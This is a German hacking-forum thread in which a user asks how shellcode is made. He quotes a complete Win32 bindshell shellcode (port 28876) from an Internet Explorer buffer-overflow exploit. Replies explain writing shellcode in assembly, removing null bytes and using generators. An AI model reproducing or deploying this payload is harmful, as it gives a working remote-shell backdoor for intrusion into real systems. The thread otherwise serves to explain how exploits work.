Shell-Code

SUID:root

Member of Honour
Hallo zusammen.

Bin grad mal wieder am Exploits durchgucken und frage mich, wie man Shell-Code generiert. Habe hier (mal wieder) einen IE-Exploit, der durch einen Buffer-Overflow Shellcode ausführen kann.

Was ich aber bisher nie verstanden habe, ist, wie man den erzeugt. Nimmt man eine Binary und wandelt die um oder wie entsteht sowas?

Code:
# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode =
unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

root
 
Wenn du Shellcode programmieren willst, solltest du Assembler lernen (ist eigentlich nicht so schwer). Mit Assembler kannst du dann den Shellcode schreiben (unter Linux/UNIX nutzt man dabei die System Calls unter Windows kannst du die Dos Interrupts nutzen oder die Funktionen der WinAPI). Den Shellcode assemblierst du dann direkt als Binary ohne irgendeine Executable-Formatierung. Das kannst du beispielsweise mit Nasm machen:
Code:
nasm shellcode.asm -o shellcode
Wenn du den assemblierten shellcode dann mit einem Hexeditor öffnest, hast du deinen Code in Hexadezimaler Form.
Tja, dann gibt's bei der Shellcode Programmierung natürlich noch ein paar Dinge, die man beachten sollte, z.B. dürfen keine Nullbytes enthalten sein. Aber wenn man die ASM-Programmierung halbwegs beherrscht, sollte man sowas schaffen.

WebSpider
 
das mit binary umwandeln hast du schon gar nicht so unrecht. ich mache jetzt mal ein beispiel mit linux, da ich die windows-api nicht kenne.
willst du z.b. einen blödsinnigen aufruf (nur als beispiel hier!) exit() in ein laufendes programm einschleusen und ausführen, es ist wahrscheinlich am einfachsten, wenn du ein kleines programm schreibst, welches nur diese funktion ausführt. dann compilierst du es zu einem binary und disassemblierst es dann (d.h. lässt dir den zugehörigen assembler code ausgeben) oder du machst direkt aus dem qulltext eine assembler-datei (bei gcc geht das z.b. - bei anderen compilern habe ich keine ahnung was und wie ... ). die datei wird bereits für so einen kleinen aufruf sehr groß sein, da alle möglichen anderen funktionen dazugebunden werden, damit das programm als eigenständiger prozess gestartet werden kann. das meiste davon brauchst du aber nicht, sondern nur diejenigen befehle, die eben genau das tun, was du willst: den exit() aufruf ausführen. dann kann man aus diesem kleinen stück aus den einzelnen assembler-anweisungen diesen hex-code erstellen, wobei jede assembler-anweisung genau einen code in hex hat (1:1 abbildung, wenn ich mich nicht irre). hier gilt, was auch schon WebSpider gesagt hat: wenn z.b. nullbytes drin sind 0x0 muss das ganze so angepasst werden, dass sie verschwinden. der grund dafür ist, dass bei buffer-overflows oft (immer?) irgendwleche kopierfunktionen im spiel sind, die einen string (char array) in einen puffer kopieren sollen, wo nicht geprüft wird, ob der string vllt nicht zu groß für den speicher ist. wird hier in diesem string - der ja nun deinen shellcode enthält - ein nullbyte auftreten (\0 in c) - wird die kopierfunktion denken dass der string zu ende ist (das ist so definiert in c) und an der stelle mit dem \0 byte mit dem kopieren aufhören, so dass das ganze ziemlich wirkungslos wird. na ja, das jetzt mal so spontan, was mir noch eingefallen ist.

ein paar einführende dokumente findet man hier: http://www.l0t3k.org/programming/docs/shellcode/ und auch allgemein viele erklärungen, wenn man einfach so im netz danach sucht. viel erfolg beim ausprobieren. dann kannste mir ja vllt noch so einen intensiv-kurs geben, bei mir klappt das nämlich noch nicht so ganz ;)

grüße,
alpha.
 
In den meisten Standard Exploits ist übrigens generierter Shellcode enthalten.
Beispiele für gute Generatoren sind Shellforge oder auch Metasploit.
 
Zurück
Oben